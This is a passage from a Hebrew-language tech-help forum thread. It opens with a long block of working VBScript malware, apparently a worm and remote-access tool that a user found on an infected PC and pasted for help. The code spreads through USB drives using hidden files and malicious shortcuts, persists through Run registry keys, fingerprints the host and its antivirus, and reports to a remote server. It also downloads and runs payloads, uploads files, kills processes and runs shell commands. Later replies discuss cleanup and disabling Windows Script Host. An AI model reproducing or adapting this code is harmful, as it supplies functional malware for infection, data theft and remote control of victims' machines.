                                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                            end if
                            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                if not lnkfile then exit for
                                if  instr (file.name,".") then
                                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                        file.attributes = 2+4
                                        if  ucase (file.name) <> ucase (installname) then
                                            filename = split(file.name,".")
                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                            lnkobj.windowstyle = 7
                                            lnkobj.targetpath = "cmd.exe"
                                            lnkobj.workingdirectory = ""
                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                            if  instr (fileicon,",") = 0 then
                                                lnkobj.iconlocation = file.path
                                            else 
                                                lnkobj.iconlocation = fileicon
                                            end if
                                            lnkobj.save()
                                        end if
                                    end if
                                end if
                            next
                            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                if not lnkfolder then exit for
                                folder.attributes = 2+4
                                foldername = folder.name
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                if  instr (foldericon,",") = 0 then
                                    lnkobj.iconlocation = folder.path
                                else 
                                    lnkobj.iconlocation = foldericon
                                end if
                                lnkobj.save()
                            next
                        end If
                        end If
                        end if
                        next
                        err.clear
                        end sub
                        
                        sub uninstall
                        on error resume next
                        dim filename
                        dim foldername
                        
                        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        filesystemobj.deletefile startup & installname ,true
                        filesystemobj.deletefile wscript.scriptfullname ,true
                        
                        for  each drive in filesystemobj.drives
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                 on error resume next
                                 if  instr (file.name,".") then
                                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                         file.attributes = 0
                                         if  ucase (file.name) <> ucase (installname) then
                                             filename = split(file.name,".")
                                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                         else
                                             filesystemobj.deletefile (drive.path & "\" & file.name)
                                         end If
                                     else
                                         filesystemobj.deletefile (file.path) 
                                     end if
                                 end if
                             next
                             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                 folder.attributes = 0
                             next
                        end if
                        end if
                        end if
                        next
                        wscript.quit
                        end sub
                        
                        function post (cmd ,param)
                        
                        post = param
                        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                        httpobj.setrequestheader "user-agent:",information
                        httpobj.send param
                        post = httpobj.responsetext
                        end function
                        
                        function information
                        on error resume next
                        if  inf = "" then
                            inf = hwid & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                        
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set os = root.execquery ("select * from win32_operatingsystem")
                            for each osinfo in os
                               inf = inf & osinfo.caption & spliter  
                               exit for
                            next
                            inf = inf & "plus" & spliter
                            inf = inf & security & spliter
                            inf = inf & usbspreading
                            information = inf  
                        else
                            information = inf
                        end if
                        end function
                        
                        sub upstart ()
                        on error resume Next
                        
                        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                        
                        end sub
                        
                        function hwid
                        on error resume next
                        
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set disks = root.execquery ("select * from win32_logicaldisk")
                        for each disk in disks
                            if  disk.volumeserialnumber <> "" then
                                hwid = disk.volumeserialnumber
                                exit for
                            end if
                        next
                        end function
                        
                        function security 
                        on error resume next
                        
                        security = ""
                        
                        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                        for each objitem in colitems
                            versionstr = split (objitem.version,".")
                        next
                        versionstr = split (colitems.version,".")
                        osversion = versionstr (0) & "."
                        for  x = 1 to ubound (versionstr)
                             osversion = osversion &  versionstr (i)
                        next
                        osversion = eval (osversion)
                        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                        
                        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                        
                        for each objantivirus in colantivirus
                            security  = security  & objantivirus.displayname & " ."
                        next
                        if security  = "" then security  = "nan-av"
                        end function
                        
                        function instance
                        on error resume next
                        
                        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                        if usbspreading = "" then
                           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                              usbspreading = "true - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                           else
                              usbspreading = "false - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                        
                           end if
                        end If
                        
                        
                        upstart
                        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                            wscript.quit 
                        end If
                        err.clear
                        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                        if  err.number > 0 then wscript.quit
                        end function
                        
                        sub sitedownloader (fileurl,filename)
                        
                        strlink = fileurl
                        strsaveto = installdir & filename
                        set objhttpdownload = createobject("msxml2.xmlhttp" )
                        objhttpdownload.open "get", strlink, false
                        objhttpdownload.send
                        
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                         
                        if objhttpdownload.status = 200 then
                           dim  objstreamdownload
                           set  objstreamdownload = createobject("adodb.stream")
                           with objstreamdownload
                                .type = 1 
                                .open
                                .write objhttpdownload.responsebody
                                .savetofile strsaveto
                                .close
                           end with
                           set objstreamdownload = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        sub download (fileurl,filedir)
                        
                        if filedir = "" then 
                           filedir = installdir
                        end if
                        
                        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                        set objhttpdownload = createobject("msxml2.xmlhttp")
                        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                        objhttpdownload.send ""
                             
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                        if  objhttpdownload.status = 200 then
                            dim  objstreamdownload
                            set  objstreamdownload = createobject("adodb.stream")
                            with objstreamdownload 
                                 .type = 1 
                                 .open
                                 .write objhttpdownload.responsebody
                                 .savetofile strsaveto
                                 .close
                            end with
                            set objstreamdownload  = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        function upload (fileurl)
                        
                        dim  httpobj,objstreamuploade,buffer
                        set  objstreamuploade = createobject("adodb.stream")
                        with objstreamuploade 
                             .type = 1 
                             .open
                             .loadfromfile fileurl
                             buffer = .read
                             .close
                        end with
                        set objstreamdownload = nothing
                        set httpobj = createobject("msxml2.xmlhttp")
                        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                        httpobj.send buffer
                        end function
                        
                        function enumdriver ()
                        
                        for  each drive in filesystemobj.drives
                        if   drive.isready = true then
                             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                        end if
                        next
                        end Function
                        
                        function enumfaf (enumdir)
                        
                        enumfaf = enumdir & spliter
                        for  each folder in filesystemobj.getfolder (enumdir).subfolders
                             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                        next
                        
                        for  each file in filesystemobj.getfolder (enumdir).files
                             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                        
                        next
                        end function
                        
                        function enumprocess ()
                        
                        on error resume next
                        
                        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_process",,48)
                        
                        dim objitem
                        for each objitem in colitems
                            enumprocess = enumprocess & objitem.name & "|"
                            enumprocess = enumprocess & objitem.processid & "|"
                            enumprocess = enumprocess & objitem.executablepath & spliter
                        next
                        end function
                        
                        sub exitprocess (pid)
                        on error resume next
                        
                        shellobj.run "taskkill /F /T /PID " & pid,7,true
                        end sub
                        
                        sub deletefaf (url)
                        on error resume next
                        
                        filesystemobj.deletefile url
                        filesystemobj.deletefolder url
                        
                        end sub
                        
                        function cmdshell (cmd)
                        
                        dim httpobj,oexec,readallfromany
                        
                        set oexec = shellobj.exec ("%comspec% /c " & cmd)
                        if not oexec.stdout.atendofstream then
                           readallfromany = oexec.stdout.readall
                        elseif not oexec.stderr.atendofstream then
                           readallfromany = oexec.stderr.readall
                        else 
                           readallfromany = ""
                        end if
                        
                        cmdshell = readallfromany
                        end function
                        
                        ת מנותק
                        ת מנותק
                        תלמידהון
                        כתב נערך לאחרונה על ידי
                        #18

                        @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                        תגובה 1 תגובה אחרונה
                        0
                        • ר רנדומלי

                          השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                          מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                          מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                          גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                          @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                          מתכנת חובבמ מנותק
                          מתכנת חובבמ מנותק
                          מתכנת חובב
                          מדריכים
                          כתב נערך לאחרונה על ידי
                          #19

                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                          היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                          ר תגובה 1 תגובה אחרונה
                          1
                          • מתכנת חובבמ מתכנת חובב

                            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                            האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                            היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                            ר מנותק
                            ר מנותק
                            רנדומלי
                            כתב נערך לאחרונה על ידי
                            #20

                            @מתכנת-חובב
                            השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                            כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                            @תלמידהון
                            כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                            ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                            0
                            • ר רנדומלי

                              @מתכנת-חובב
                              השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                              כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                              @תלמידהון
                              כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                              ת מנותק
                              ת מנותק
                              תלמידהון
                              כתב נערך לאחרונה על ידי
                              #21

                              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                              השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                              אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                              תגובה 1 תגובה אחרונה
                              1
                              • ר רנדומלי

                                @מתכנת-חובב
                                השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                @תלמידהון
                                כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                מתכנת חובבמ מנותק
                                מתכנת חובבמ מנותק
                                מתכנת חובב
                                מדריכים
                                כתב נערך לאחרונה על ידי מתכנת חובב
                                #22

                                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                ר תגובה 1 תגובה אחרונה
                                0
                                • מתכנת חובבמ מתכנת חובב

                                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                  בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                  לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                  תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                  ר מנותק
                                  ר מנותק
                                  רנדומלי
                                  כתב נערך לאחרונה על ידי
                                  #23

                                  @מתכנת-חובב
                                  תהיה מוכן להסביר לי איך אני מכבה VBS?

                                  זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                                  0
                                  • ר רנדומלי

                                    @מתכנת-חובב
                                    תהיה מוכן להסביר לי איך אני מכבה VBS?

                                    זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                    מתכנת חובבמ מנותק
                                    מתכנת חובבמ מנותק
                                    מתכנת חובב
                                    מדריכים
                                    כתב נערך לאחרונה על ידי
                                    #24

                                    @רנדומלי תריץ את זה כמנהל

                                    reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                                    

                                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                    תגובה 1 תגובה אחרונה
                                    2

                                    • התחברות

                                    • אין לך חשבון עדיין? הרשמה

                                    • התחברו או הירשמו כדי לחפש.
                                    • פוסט ראשון
                                      פוסט אחרון
                                    0
                                    • חוקי הפורום
                                    • פופולרי
                                    • לא נפתר
                                    • משתמשים
                                    • חיפוש גוגל בפורום
                                    • צור קשר